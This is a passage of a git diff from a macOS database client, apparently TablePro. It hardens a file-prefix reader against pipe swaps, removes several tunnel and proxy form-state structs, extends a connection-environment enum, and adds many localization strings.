IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES, + IOPOL_SCOPE_THREAD, + IOPOL_MATERIALIZE_DATALESS_FILES_OFF + ) == 0 + defer { + if changed, previous >= 0 { + _ = setiopolicy_np(IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES, IOPOL_SCOPE_THREAD, previous) + } + } + return try body() + } + private static func regularFileSize(of url: URL) -> Int? { guard let values = try? url.resourceValues(forKeys: [.isRegularFileKey, .fileSizeKey]), values.isRegularFile == true else { return nil } return values.fileSize } - private static func readPrefix(of url: URL, length: Int) -> [UInt8]? { - guard let handle = try? FileHandle(forReadingFrom: url) else { return nil } - defer { try? handle.close() } - guard let head = try? handle.read(upToCount: length), !head.isEmpty else { return nil } - return [UInt8](head) + // O_NONBLOCK keeps open from waiting on a pipe swapped in after the metadata was read; fstat then refuses it. + private static func readPrefix(of url: URL, length: Int, access: Access) -> [UInt8]? { + let read = { () -> [UInt8]? in + let descriptor = open(url.path, O_RDONLY | O_NONBLOCK | O_CLOEXEC) + guard descriptor >= 0 else { return nil } + defer { close(descriptor) } + var info = stat() + guard fstat(descriptor, &info) == 0, info.st_mode & S_IFMT == S_IFREG else { return nil } + var buffer = [UInt8](repeating: 0, count: length) + var filled = 0 + while filled < length { + let count = buffer.withUnsafeMutableBytes { bytes -> Int in + guard let base = bytes.baseAddress else { return 0 } + return Darwin.read(descriptor, base.advanced(by: filled), length - filled) + } + if count > 0 { + filled += count + } else if count < 0, errno == EINTR { + continue + } else { + break + } + } + return filled > 0 ? Array(buffer.prefix(filled)) : nil + } + switch access { + case .mayWait: return read() + case .withoutWaiting: return withoutMaterializing(read) + } } } diff --git a/apple/TablePro/Models/Connection/CloudSQLProxyFormState.swift b/apple/TablePro/Models/Connection/CloudSQLProxyFormState.swift deleted file mode 100644 index d7a228dd62..0000000000 --- a/apple/TablePro/Models/Connection/CloudSQLProxyFormState.swift +++ /dev/null @@ -1,58 +0,0 @@ -// -// CloudSQLProxyFormState.swift -// TablePro -// - -import Foundation - -struct CloudSQLProxyFormState { - var enabled: Bool = false - var instanceConnectionName: String = "" - var authMode: CloudSQLProxyAuthMode = .applicationDefault - var serviceAccountKeyJSON: String = "" - var useIAMAuth: Bool = false - var usePrivateIP: Bool = false - var automaticPort: Bool = true - var localPort: String = "" - var binaryPath: String = "" - - func buildConfig() -> CloudSQLProxyConfiguration { - CloudSQLProxyConfiguration( - instanceConnectionName: instanceConnectionName.trimmingCharacters(in: .whitespacesAndNewlines), - authMode: authMode, - useIAMAuth: useIAMAuth, - usePrivateIP: usePrivateIP, - localPort: automaticPort ? nil : Int(localPort), - binaryPath: binaryPath.trimmingCharacters(in: .whitespacesAndNewlines) - ) - } - - func buildTunnelMode() -> CloudSQLProxyMode { - enabled ? .inline(buildConfig()) : .disabled - } - - mutating func load(from connection: DatabaseConnection) { - switch connection.cloudSQLProxyMode { - case .disabled: - enabled = false - case .inline(let config): - enabled = true - populateFields(from: config) - } - } - - mutating func populateFields(from config: CloudSQLProxyConfiguration) { - instanceConnectionName = config.instanceConnectionName - authMode = config.authMode - useIAMAuth = config.useIAMAuth - usePrivateIP = config.usePrivateIP - binaryPath = config.binaryPath - if let port = config.localPort { - automaticPort = false - localPort = String(port) - } else { - automaticPort = true - localPort = "" - } - } -} diff --git a/apple/TablePro/Models/Connection/CloudflareTunnelFormState.swift b/apple/TablePro/Models/Connection/CloudflareTunnelFormState.swift deleted file mode 100644 index 75045ab3a7..0000000000 --- a/apple/TablePro/Models/Connection/CloudflareTunnelFormState.swift +++ /dev/null @@ -1,61 +0,0 @@ -// -// CloudflareTunnelFormState.swift -// TablePro -// - -import Foundation - -/// Encapsulates all Cloudflare tunnel UI state for the connection form. -struct CloudflareTunnelFormState { - var enabled: Bool = false - var accessHostname: String = "" - var authMethod: CloudflareAuthMethod = .browserSSO - var serviceTokenId: String = "" - var serviceTokenSecret: String = "" - var automaticPort: Bool = true - var localPort: String = "" - var exposeToLAN: Bool = false - var binaryPath: String = "" - - // MARK: - Build Methods - - func buildConfig() -> CloudflareConfiguration { - CloudflareConfiguration( - accessHostname: accessHostname.trimmingCharacters(in: .whitespacesAndNewlines), - localPort: automaticPort ? nil : Int(localPort), - authMethod: authMethod, - exposeToLAN: exposeToLAN, - binaryPath: binaryPath.trimmingCharacters(in: .whitespacesAndNewlines) - ) - } - - func buildTunnelMode() -> CloudflareTunnelMode { - enabled ? .inline(buildConfig()) : .disabled - } - - // MARK: - Load Methods - - mutating func load(from connection: DatabaseConnection) { - switch connection.cloudflareTunnelMode { - case .disabled: - enabled = false - case .inline(let config): - enabled = true - populateFields(from: config) - } - } - - mutating func populateFields(from config: CloudflareConfiguration) { - accessHostname = config.accessHostname - authMethod = config.authMethod - exposeToLAN = config.exposeToLAN - binaryPath = config.binaryPath - if let port = config.localPort { - automaticPort = false - localPort = String(port) - } else { - automaticPort = true - localPort = "" - } - } -} diff --git a/apple/TablePro/Models/Connection/ConnectionEnvironment.swift b/apple/TablePro/Models/Connection/ConnectionEnvironment.swift index 88409babe7..cce316fb9d 100644 --- a/apple/TablePro/Models/Connection/ConnectionEnvironment.swift +++ b/apple/TablePro/Models/Connection/ConnectionEnvironment.swift @@ -3,13 +3,9 @@ // TablePro // -import Foundation +import SwiftUI -/// A connection's deployment environment, shown on the identity row so production stands apart from -/// a scratch database at a glance. -/// -/// Stored as the app-managed `additionalFields["environment"]` key, so it rides the connection's -/// existing synced field set rather than a new CloudKit field. +// Stored as the app-managed `additionalFields["environment"]` key, so it syncs with the existing field set. enum ConnectionEnvironment: String, CaseIterable, Identifiable, Sendable { case none case production @@ -19,6 +15,11 @@ enum ConnectionEnvironment: String, CaseIterable, Identifiable, Sendable { static let fieldKey = "environment" + // A value from a newer release, or a hand-edited file, shows as no environment. + static func stored(in fields: [String: String]?) -> ConnectionEnvironment { + fields?[fieldKey].flatMap(ConnectionEnvironment.init(rawValue:)) ?? .none + } + var id: String { rawValue } var displayName: String { @@ -31,14 +32,34 @@ enum ConnectionEnvironment: String, CaseIterable, Identifiable, Sendable { } } - /// An SF Symbol, never a bare coloured dot: the platform's own vocabulary for status. + // Production avoids the triangle: a row's failed status and missing driver already draw it. var symbolName: String? { switch self { case .none: return nil - case .production: return "exclamationmark.triangle.fill" + case .production: return "flame.fill" case .staging: return "testtube.2" case .development: return "hammer.fill" case .local: return "laptopcomputer" } } + + var tint: Color { + switch self { + case .production: return .red + case .staging: return .orange + case .development: return .green + case .local, .none: return .secondary + } + } + + // "Local" alone would read like the row's "Local only" sync flag. + var accessibilityName: String? { + switch self { + case .none: return nil + case .production: return String(localized: "Production environment") + case .staging: return String(localized: "Staging environment") + case .development: return String(localized: "Development environment") + case .local: return String(localized: "Local environment") + } + } } diff --git a/apple/TablePro/Models/Connection/ConnectionTestResult.swift b/apple/TablePro/Models/Connection/ConnectionTestResult.swift index 5bd320a319..145d15fb99 100644 --- a/apple/TablePro/Models/Connection/ConnectionTestResult.swift +++ b/apple/TablePro/Models/Connection/ConnectionTestResult.swift @@ -10,9 +10,11 @@ internal struct ConnectionTestResult: Equatable, Sendable { let succeeded: Bool /// The warning the server sent with the login, such as an Oracle password in its grace period. let warning: String? + let serverVersion: String? - init(succeeded: Bool, warning: String? = nil) { + init(succeeded: Bool, warning: String? = nil, serverVersion: String? = nil) { self.succeeded = succeeded self.warning = succeeded ? warning : nil + self.serverVersion = succeeded ? serverVersion : nil } } diff --git a/apple/TablePro/Models/Connection/ConnectionTunnelKind.swift b/apple/TablePro/Models/Connection/ConnectionTunnelKind.swift index a84a4cd4ff..6929314647 100644 --- a/apple/TablePro/Models/Connection/ConnectionTunnelKind.swift +++ b/apple/TablePro/Models/Connection/ConnectionTunnelKind.swift @@ -98,12 +98,12 @@ enum ConnectionTunnelKind: String, CaseIterable, Sendable { return String(localized: "Opens the database file on this Mac.") } if localSocketSkipsTLS { - return String(localized: "Connects through the socket on the General tab. PostgreSQL sends no SSL over a socket, which stays on this Mac.") + return String(localized: "Connects through the socket set in General. PostgreSQL sends no SSL over a socket, which stays on this Mac.") } if usesLocalSocket { - return String(localized: "Connects through the socket file on the General tab.") + return String(localized: "Connects through the socket file set in General.") } - return String(localized: "Connects straight to the host and port on the General tab.") + return String(localized: "Connects straight to the host and port set in General.") } } diff --git a/apple/TablePro/Models/Connection/DatabaseConnection+Masking.swift b/apple/TablePro/Models/Connection/DatabaseConnection+Masking.swift index 1170c04b6d..237df0cfc0 100644 --- a/apple/TablePro/Models/Connection/DatabaseConnection+Masking.swift +++ b/apple/TablePro/Models/Connection/DatabaseConnection+Masking.swift @@ -24,8 +24,11 @@ extension DatabaseConnection { } set { let kept = newValue.filter { !$0.trimmedPattern.isEmpty } + // Stable key order, so the same rules always store the same text and the editor's merge sees no change. + let encoder = JSONEncoder() + encoder.outputFormatting = .sortedKeys guard !kept.isEmpty, - let data = try? JSONEncoder().encode(kept), + let data = try? encoder.encode(kept), let json = String(data: data, encoding: .utf8) else { additionalFields.removeValue(forKey: Self.maskingRulesKey) return diff --git a/apple/TablePro/Models/Connection/SOCKSProxyFormState.swift b/apple/TablePro/Models/Connection/SOCKSProxyFormState.swift deleted file mode 100644 index d2c5925688..0000000000 --- a/apple/TablePro/Models/Connection/SOCKSProxyFormState.swift +++ /dev/null @@ -1,38 +0,0 @@ -// -// SOCKSProxyFormState.swift -// TablePro -// - -import Foundation - -struct SOCKSProxyFormState { - var enabled: Bool = false - var host: String = "" - var port: String = "1080" - var username: String = "" - var password: String = "" - - func buildConfig() -> SOCKSProxyConfiguration { - SOCKSProxyConfiguration( - host: host.trimmingCharacters(in: .whitespacesAndNewlines), - port: Int(port.trimmingCharacters(in: .whitespacesAndNewlines)) ?? 1_080, - username: username.trimmingCharacters(in: .whitespacesAndNewlines) - ) - } - - func buildTunnelMode() -> SOCKSProxyMode { - enabled ? .inline(buildConfig()) : .disabled - } - - mutating func load(from connection: DatabaseConnection) { - switch connection.socksProxyMode { - case .disabled: - enabled = false - case .inline(let config): - enabled = true - host = config.host - port = String(config.port) - username = config.username - } - } -} diff --git a/apple/TablePro/Models/Connection/SSHTunnelFormState.swift b/apple/TablePro/Models/Connection/SSHTunnelFormState.swift deleted file mode 100644 index 24ebc6a1a5..0000000000 --- a/apple/TablePro/Models/Connection/SSHTunnelFormState.swift +++ /dev/null @@ -1,263 +0,0 @@ -import Foundation -import TableProSSHConfig -import TableProSSHTransport - -struct SSHTunnelFormState { - var enabled: Bool = false - var profileId: UUID? - var profiles: [SSHProfile] = [] - - var showingCreateProfile: Bool = false - var editingProfile: SSHProfile? - var showingSaveAsProfile: Bool = false - - var host: String = "" - var port: String = "" - var username: String = "" - var password: String = "" - var authMethod: SSHAuthMethod = .password - var privateKeyPath: String = "" - var agentSocketOption: SSHAgentSocketOption = .systemDefault - var customAgentSocketPath: String = "" - var keyPassphrase: String = "" - var configEntries: [SSHConfigEntry] = [] - var selectedConfigHost: String = "" - var jumpHosts: [SSHJumpHost] = [] - var totpMode: TOTPMode = .none - var totpSecret: String = "" - var totpAlgorithm: TOTPAlgorithm = .sha1 - var totpDigits: Int = 6 - var totpPeriod: Int = 30 - - // What the Keychain held when the form opened, so an emptied field is told apart from an unreadable Keychain. - private(set) var storedPasswordState: ConnectionStorage.StoredSecretState = .absent - private(set) var storedKeyPassphraseState: ConnectionStorage.StoredSecretState = .absent - private(set) var loadedTOTPSecret = false - // Secrets read from a profile's Keychain stay in the fields after a switch to inline. - private(set) var profileSecrets: Set = [] - - var remoteFilePath: String = "" - - // New connections run on the server; a connection saved before the live mode existed decodes as the copy. - var remoteFileAccess: RemoteFileAccess = .onServer - - var selectedProfile: SSHProfile? { - guard let id = profileId else { return nil } - return profiles.first { $0.id == id } - } - - var resolvedAgentSocketPath: String { - agentSocketOption.resolvedPath(customPath: customAgentSocketPath) - } - - var server: SSHServerDraft { - get { - var draft = SSHServerDraft() - draft.host = host - draft.port = port - draft.username = username - draft.authMethod = authMethod - draft.password = password - draft.privateKeyPath = privateKeyPath - draft.keyPassphrase = keyPassphrase - draft.agentSocketOption = agentSocketOption - draft.customAgentSocketPath = customAgentSocketPath - draft.selectedConfigHost = selectedConfigHost - draft.jumpHosts = jumpHosts - draft.totpMode = totpMode - draft.totpSecret = totpSecret - draft.totpAlgorithm = totpAlgorithm - draft.totpDigits = totpDigits - draft.totpPeriod = totpPeriod - return draft - } - set { - host = newValue.host - port = newValue.port - username = newValue.username - authMethod = newValue.authMethod - password = newValue.password - privateKeyPath = newValue.privateKeyPath - keyPassphrase = newValue.keyPassphrase - agentSocketOption = newValue.agentSocketOption - customAgentSocketPath = newValue.customAgentSocketPath - selectedConfigHost = newValue.selectedConfigHost - jumpHosts = newValue.jumpHosts - totpMode = newValue.totpMode - totpSecret = newValue.totpSecret - totpAlgorithm = newValue.totpAlgorithm - totpDigits = newValue.totpDigits - totpPeriod = newValue.totpPeriod - } - } - - // Revealing a secret the Keychain handed over asks for authentication first. - var savedSecrets: Set { - var secrets: Set = [] - if storedPasswordState != .absent { secrets.insert(.password) } - if storedKeyPassphraseState != .absent { secrets.insert(.keyPassphrase) } - if loadedTOTPSecret { secrets.insert(.totpSecret) } - return secrets.union(profileSecrets) - } - - func buildInlineConfig() -> SSHConfiguration { - SSHConfiguration( - enabled: enabled, - host: host, - port: Int(port), - username: username, - authMethod: authMethod, - privateKeyPath: privateKeyPath, - agentSocketPath: resolvedAgentSocketPath, - jumpHosts: jumpHosts, - totpMode: totpMode, - totpAlgorithm: totpAlgorithm, - totpDigits: totpDigits, - totpPeriod: totpPeriod, - remoteFilePath: remoteFilePath, - remoteFileAccess: remoteFileAccess - ) - } - - // The remote path lives on the connection: two connections through one bastion name different files. - func buildSSHConfig() -> SSHConfiguration { - guard let profileId, let profile = profiles.first(where: { $0.id == profileId }) else { - return buildInlineConfig() - } - var config = profile.toSSHConfiguration() - config.remoteFilePath = remoteFilePath - config.remoteFileAccess = remoteFileAccess - return config - } - - mutating func load(from connection: DatabaseConnection) { - switch connection.sshTunnelMode { - case .disabled: - enabled = false - profileId = nil - case .inline(let config): - enabled = true - profileId = nil - populateFields(from: config) - remoteFilePath = config.remoteFilePath - remoteFileAccess = config.remoteFileAccess - case .profile(let id, let snapshot): - enabled = true - profileId = id - populateFields(from: snapshot) - remoteFilePath = connection.sshConfig.remoteFilePath - remoteFileAccess = connection.sshConfig.remoteFileAccess - } - } - - @MainActor - mutating func loadSecrets(connectionId: UUID, storage: ConnectionStorage) { - if case .profile(let profileId, _) = buildTunnelMode() { - adoptProfileSecrets( - password: SSHProfileStorage.shared.loadSSHPassword(for: profileId) ?? "", - keyPassphrase: SSHProfileStorage.shared.loadKeyPassphrase(for: profileId) ?? "", - totpSecret: SSHProfileStorage.shared.loadTOTPSecret(for: profileId) ?? "" - ) - } else { - profileSecrets = [] - storedPasswordState = storage.sshPasswordState(for: connectionId) - storedKeyPassphraseState = storage.keyPassphraseState(for: connectionId) - password = storage.loadSSHPassword(for: connectionId) ?? "" - keyPassphrase = storage.loadKeyPassphrase(for: connectionId) ?? "" - totpSecret = storage.loadTOTPSecret(for: connectionId) ?? "" - loadedTOTPSecret = !totpSecret.isEmpty - } - } - - mutating func adoptProfileSecrets(password: String, keyPassphrase: String, totpSecret: String) { - self.password = password - self.keyPassphrase = keyPassphrase - self.totpSecret = totpSecret - loadedTOTPSecret = false - profileSecrets = server.filledSecrets - } - - // Without this the old inline secret stays in the Keychain and the next connect still uses it. - var clearsStoredPassword: Bool { - password.isEmpty && storedPasswordState == .stored - } - - var clearsStoredKeyPassphrase: Bool { - keyPassphrase.isEmpty && storedKeyPassphraseState == .stored - } - - func buildTunnelMode() -> SSHTunnelMode { - guard enabled else { return .disabled } - if let profileId, let profile = profiles.first(where: { $0.id == profileId }) { - var snapshot = profile.toSSHConfiguration() - snapshot.remoteFilePath = remoteFilePath - snapshot.remoteFileAccess = remoteFileAccess - return .profile(id: profileId, snapshot: snapshot) - } - return .inline(buildInlineConfig()) - } - - mutating func disable() { - enabled = false - profileId = nil - host = "" - port = "" - username = "" - password = "" - authMethod = .password - privateKeyPath = "" - agentSocketOption = .systemDefault - customAgentSocketPath = "" - keyPassphrase = "" - selectedConfigHost = "" - jumpHosts = [] - totpMode = .none - totpSecret = "" - totpAlgorithm = .sha1 - totpDigits = 6 - totpPeriod = 30 - profileSecrets = [] - } - - mutating func switchToInline(fromProfile profile: SSHProfile) { - profileId = nil - host = profile.host - port = profile.port.map(String.init) ?? "" - username = profile.username - authMethod = profile.authMethod - privateKeyPath = profile.privateKeyPath - applyAgentSocketPath(profile.agentSocketPath) - jumpHosts = profile.jumpHosts - totpMode = profile.totpMode - totpAlgorithm = profile.totpAlgorithm - totpDigits = profile.totpDigits - totpPeriod = profile.totpPeriod - } - - mutating func populateFields(from config: SSHConfiguration) { - host = config.host - port = config.port.map(String.init) ?? "" - username = config.username - authMethod = config.authMethod - privateKeyPath = config.privateKeyPath - applyAgentSocketPath(config.agentSocketPath) - jumpHosts = config.jumpHosts - totpMode = config.totpMode - totpAlgorithm = config.totpAlgorithm - totpDigits = config.totpDigits - totpPeriod = config.totpPeriod - - selectedConfigHost = configEntries.first { $0.host == config.host }?.host ?? "" - } - - mutating func applyAgentSocketPath(_ socketPath: String) { - let option = SSHAgentSocketOption(socketPath: socketPath) - agentSocketOption = option - - if option == .custom { - customAgentSocketPath = socketPath.trimmingCharacters(in: .whitespacesAndNewlines) - } else { - customAgentSocketPath = "" - } - } -} diff --git a/apple/TablePro/Models/Connection/TunnelCommandFormState.swift b/apple/TablePro/Models/Connection/TunnelCommandFormState.swift deleted file mode 100644 index 31d4ee5950..0000000000 --- a/apple/TablePro/Models/Connection/TunnelCommandFormState.swift +++ /dev/null @@ -1,38 +0,0 @@ -// -// TunnelCommandFormState.swift -// TablePro -// - -import Foundation - -struct TunnelCommandFormState { - var enabled: Bool = false - var config = TunnelCommandConfiguration() - - func buildConfig() -> TunnelCommandConfiguration { - var trimmed = config - trimmed.command = config.command.trimmingCharacters(in: .whitespacesAndNewlines) - trimmed.executablePath = config.executablePath.trimmingCharacters(in: .whitespacesAndNewlines) - trimmed.kubernetesNamespace = config.kubernetesNamespace.trimmingCharacters(in: .whitespacesAndNewlines) - trimmed.kubernetesResource = config.kubernetesResource.trimmingCharacters(in: .whitespacesAndNewlines) - trimmed.kubernetesContext = config.kubernetesContext.trimmingCharacters(in: .whitespacesAndNewlines) - trimmed.awsTarget = config.awsTarget.trimmingCharacters(in: .whitespacesAndNewlines) - trimmed.awsProfile = config.awsProfile.trimmingCharacters(in: .whitespacesAndNewlines) - trimmed.awsRegion = config.awsRegion.trimmingCharacters(in: .whitespacesAndNewlines) - return trimmed - } - - func buildTunnelMode() -> TunnelCommandMode { - enabled ? .inline(buildConfig()) : .disabled - } - - mutating func load(from connection: DatabaseConnection) { - switch connection.tunnelCommandMode { - case .disabled: - enabled = false - case .inline(let stored): - enabled = true - config = stored - } - } -} diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings index 70deb85664..0e7bc22986 100644 --- a/apple/TablePro/Resources/Localizable.xcstrings +++ b/apple/TablePro/Resources/Localizable.xcstrings @@ -1078,6 +1078,9 @@ }, "“%@” is used more than once." : { + }, + "“%@” isn’t a library." : { + }, "“%@” isn't a port or a range of ports, such as 4000-4999." : { "extractionState" : "manual", @@ -1636,6 +1639,9 @@ } } } + }, + "“%1$@” isn’t a database %2$@ can open." : { + }, "“%1$@” refers to “%2$@”, which is not in the file" : { "extractionState" : "manual", @@ -3484,6 +3490,9 @@ } } } + }, + "%@ doesn't work through a tunnel." : { + }, "%@ duplicate rows" : { "localizations" : { @@ -12890,6 +12899,9 @@ } } } + }, + "^[%lld Attached Database](inflect: true)" : { + }, "^[%lld change](inflect: true)" : { @@ -12989,6 +13001,9 @@ } } } + }, + "^[%lld Extension](inflect: true)" : { + }, "^[%lld finding](inflect: true)" : { @@ -12998,6 +13013,9 @@ }, "^[%lld ignored finding](inflect: true) hidden." : { + }, + "^[%lld Jump Host](inflect: true)" : { + }, "^[%lld line](inflect: true)" : { "localizations" : { @@ -13094,6 +13112,9 @@ } } } + }, + "^[%lld Rule](inflect: true)" : { + }, "^[%lld space](inflect: true)" : { @@ -15687,6 +15708,10 @@ }, "A check needs an expression." : { + }, + "A client certificate needs its client key. In the connection's SSL/TLS settings, choose the client key, or clear the client certificate." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "A client certificate needs its client key. On the connection's Network tab, choose the client key, or clear the client certificate." : { "extractionState" : "manual", @@ -18328,6 +18353,9 @@ } } } + }, + "Absolute, or relative to the SSH account's home directory." : { + }, "Absolute, or relative to the SSH account's home directory. `~` works." : { "localizations" : { @@ -20068,6 +20096,9 @@ }, "Add a saved query to watch its result here." : { + }, + "Add a service account key." : { + }, "Add an AI provider in Settings > AI first." : { "localizations" : { @@ -22267,6 +22298,9 @@ } } } + }, + "AI & MCP" : { + }, "AI access is disabled for this connection" : { "localizations" : { @@ -28726,6 +28760,9 @@ }, "As stored" : { + }, + "As Stored" : { + }, "As written" : { @@ -29077,6 +29114,9 @@ } } } + }, + "Ask for the password every time" : { + }, "Ask Once for Each Connection" : { "localizations" : { @@ -32686,6 +32726,9 @@ }, "Binary File" : { + }, + "Binary Value Limit" : { + }, "Binary values limit must be between 1 and 1,048,576 KB." : { @@ -34915,6 +34958,9 @@ } } } + }, + "Cancel Test" : { + }, "Cancel the running query for session %@?" : { @@ -36700,6 +36746,9 @@ } } } + }, + "Change Database Type" : { + }, "Change field “%1$@” to %2$@" : { @@ -37658,6 +37707,9 @@ } } } + }, + "Changing to %@ removes:" : { + }, "Changing which rows are shown will discard all unsaved changes." : { "localizations" : { @@ -38480,6 +38532,9 @@ } } } + }, + "Check the host and port, and that the server is running and reachable from this Mac." : { + }, "Check the keys the block writes before running it again." : { "extractionState" : "manual", @@ -38550,6 +38605,12 @@ }, "Check the server and your network, then try again." : { + }, + "Check the settings in SSH & Proxies." : { + + }, + "Check the SSL mode and certificates in SSL/TLS." : { + }, "Check the tunnel host and your network, then try again." : { "localizations" : { @@ -38590,6 +38651,9 @@ } } } + }, + "Check the username and password." : { + }, "Check the values already stored" : { @@ -38933,6 +38997,9 @@ } } } + }, + "Choose a CA certificate." : { + }, "Choose a certificate or key file" : { "localizations" : { @@ -39039,6 +39106,9 @@ } } } + }, + "Choose a database file." : { + }, "Choose a database or bucket first." : { "extractionState" : "manual", @@ -39169,6 +39239,9 @@ } } } + }, + "Choose a key file for jump host %lld." : { + }, "Choose a location to save the diagram as %@." : { @@ -40140,6 +40213,9 @@ } } } + }, + "Choose Port Automatically" : { + }, "Choose Schema" : { @@ -40155,6 +40231,10 @@ }, "Choose the base type." : { + }, + "Choose the client certificate and key in the connection's SSL/TLS settings." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "Choose the client certificate and key on the connection's Network tab." : { "extractionState" : "manual", @@ -40167,6 +40247,9 @@ } } } + }, + "Choose the client key." : { + }, "Choose the columns shown beside each key" : { "localizations" : { @@ -40207,6 +40290,9 @@ } } } + }, + "Choose the database file to attach as “%@”." : { + }, "Choose the database files to attach each time this connection opens." : { @@ -40244,6 +40330,9 @@ } } } + }, + "Choose the SQLite extension library to load in its place." : { + }, "Choose Type" : { "extractionState" : "stale", @@ -43717,6 +43806,9 @@ } } } + }, + "cloud-sql-proxy not found. Install it with “brew install cloud-sql-proxy”, download it, or choose the binary." : { + }, "cloud-sql-proxy was not found. Install it with “brew install cloud-sql-proxy”, or download it in the Cloud SQL Auth Proxy settings." : { "localizations" : { @@ -44044,6 +44136,9 @@ } } } + }, + "cloudflared not found. Install it with “brew install cloudflared”, or choose the binary." : { + }, "cloudflared sign-in did not complete. Check the hostname and your Cloudflare Access app, then try again." : { @@ -46529,6 +46624,9 @@ } } } + }, + "Commands to run after connecting. One per line or separated by semicolons." : { + }, "Commas" : { @@ -48708,6 +48806,9 @@ } } } + }, + "Connect over Private IP" : { + }, "Connect Securely" : { "localizations" : { @@ -48758,6 +48859,9 @@ } } } + }, + "Connect Timeout" : { + }, "Connect Timeout (seconds)" : { "extractionState" : "stale", @@ -48991,6 +49095,9 @@ } } } + }, + "Connect Via" : { + }, "connected" : { "extractionState" : "manual", @@ -49156,6 +49263,12 @@ } } } + }, + "Connected to %1$@ %2$@ in %3$lld ms" : { + + }, + "Connected to %1$@ in %2$lld ms" : { + }, "Connected with a warning" : { @@ -49659,6 +49772,9 @@ } } } + }, + "Connection failed" : { + }, "Connection Failed" : { "localizations" : { @@ -50165,6 +50281,9 @@ } } } + }, + "Connection Settings" : { + }, "Connection status" : { "comment" : "Toolbar item tooltip for the status section of the toolbar.", @@ -51069,12 +51188,21 @@ } } } + }, + "Connects straight to the host and port set in General." : { + }, "Connects through the socket file on the General tab." : { + }, + "Connects through the socket file set in General." : { + }, "Connects through the socket on the General tab. PostgreSQL sends no SSL over a socket, which stays on this Mac." : { + }, + "Connects through the socket set in General. PostgreSQL sends no SSL over a socket, which stays on this Mac." : { + }, "Connects to %@. The port names the socket file in the folder." : { @@ -52316,6 +52444,9 @@ }, "Copy as UPDATE Statements" : { + }, + "Copy as URL" : { + }, "COPY at line %@: %@ lines sent" : { "extractionState" : "manual", @@ -53965,6 +54096,10 @@ }, "Copying objects to %@" : { + }, + "Correct the Key Passphrase in the connection's SSL/TLS settings." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "Correct the Key Passphrase on the connection's Network tab." : { "extractionState" : "manual", @@ -58132,6 +58267,9 @@ } } } + }, + "Credential Profile" : { + }, "Credential Profiles" : { "localizations" : { @@ -58800,6 +58938,9 @@ "Current Statement" : { "extractionState" : "manual", "generatesSymbol" : false + }, + "Current type" : { + }, "Current value" : { "localizations" : { @@ -63869,6 +64010,9 @@ } } } + }, + "Delete “%@”…" : { + }, "Delete /%@" : { "localizations" : { @@ -64305,6 +64449,9 @@ } } } + }, + "Delete Failed" : { + }, "Delete Favorite?" : { "localizations" : { @@ -65022,6 +65169,9 @@ } } } + }, + "Delete the tag “%@”?" : { + }, "Delete Theme" : { "extractionState" : "stale", @@ -66492,6 +66642,9 @@ } } } + }, + "Detected: %@" : { + }, "Development" : { "extractionState" : "manual", @@ -66534,6 +66687,9 @@ } } } + }, + "Development environment" : { + }, "Device" : { "extractionState" : "manual", @@ -68193,6 +68349,9 @@ } } } + }, + "Do you want to save the changes to “%@”?" : { + }, "Document" : { "extractionState" : "manual", @@ -68704,6 +68863,9 @@ } } } + }, + "Download" : { + }, "Download and install updates automatically" : { "localizations" : { @@ -74066,6 +74228,18 @@ } } } + }, + "Encrypts the connection and checks that a trusted certificate authority signed the server certificate." : { + + }, + "Encrypts the connection and checks the server certificate and that it names the host." : { + + }, + "Encrypts the connection when the server offers TLS, and connects without it otherwise." : { + + }, + "Encrypts the connection without checking the server certificate." : { + }, "Endpoint" : { "extractionState" : "stale", @@ -74338,6 +74512,12 @@ }, "Engines that match type names by exact case, such as ClickHouse, keep the case you typed." : { + }, + "Enter %1$@ to %2$@ KB." : { + + }, + "Enter %1$@ to %2$@ seconds." : { + }, "Enter a _key for the new row. Bigtable has no generated keys." : { "extractionState" : "manual", @@ -74463,11 +74643,24 @@ } } }, + "Enter a number from %@ to %@." : { + "localizations" : { + "en" : { + "stringUnit" : { + "state" : "new", + "value" : "Enter a number from %1$@ to %2$@." + } + } + } + }, "Enter a number of rows from 1 to %@." : { }, "Enter a pattern for %@." : { + }, + "Enter a port from 1 to 65535." : { + }, "Enter a Project ID, or use a service account key that names one." : { "extractionState" : "manual", @@ -74592,6 +74785,9 @@ } } } + }, + "Enter an SSH host." : { + }, "Enter at least one value for %@." : { @@ -74695,6 +74891,9 @@ } } } + }, + "Enter it as project:region:instance." : { + }, "Enter one document. There is more text after its closing }." : { "extractionState" : "manual", @@ -74806,6 +75005,15 @@ } } } + }, + "Enter the Access hostname." : { + + }, + "Enter the address of jump host %lld." : { + + }, + "Enter the client ID and secret." : { + }, "Enter the code %@ in the browser to finish signing in to Microsoft Entra ID. The code is on your clipboard." : { "localizations" : { @@ -74908,6 +75116,13 @@ } } }, + "Enter the file's path on the server." : { + + }, + "Enter the Key Passphrase in the connection's SSL/TLS settings." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Enter the Key Passphrase on the connection's Network tab." : { "extractionState" : "manual", "generatesSymbol" : false, @@ -75033,6 +75248,9 @@ } } } + }, + "Enter the proxy host." : { + }, "Enter the SAP HANA host name." : { "extractionState" : "manual", @@ -77589,6 +77807,9 @@ } } } + }, + "Executable Path" : { + }, "Execute" : { "localizations" : { @@ -80879,6 +81100,9 @@ } } } + }, + "Expose to Local Network" : { + }, "Expression" : { "extractionState" : "manual", @@ -84143,6 +84367,9 @@ } } } + }, + "File Path is unused. The connection opens the file on the SSH server chosen in Location." : { + }, "File path or paste JSON" : { "extractionState" : "manual", @@ -84389,6 +84616,9 @@ } } } + }, + "Filled from the URL: %@." : { + }, "Film" : { "extractionState" : "manual", @@ -87337,6 +87567,9 @@ }, "Forget %1$@ for %2$@" : { + }, + "Forget a tool to be asked before it runs again." : { + }, "Forget All" : { "localizations" : { @@ -91578,6 +91811,12 @@ } } } + }, + "Hide passphrase" : { + + }, + "Hide password" : { + }, "Hide Query History" : { "localizations" : { @@ -91668,6 +91907,9 @@ } } } + }, + "Hide secret" : { + }, "Hide Sidebar" : { "localizations" : { @@ -92451,6 +92693,9 @@ }, "Host and Port" : { + }, + "Host and Port are unused. The SSH tunnel forwards to the socket path set in SSH & Proxies." : { + }, "Host and Port are unused. The SSH tunnel forwards to the socket path set on the Network tab." : { "localizations" : { @@ -93094,6 +93339,9 @@ } } } + }, + "How matching values are 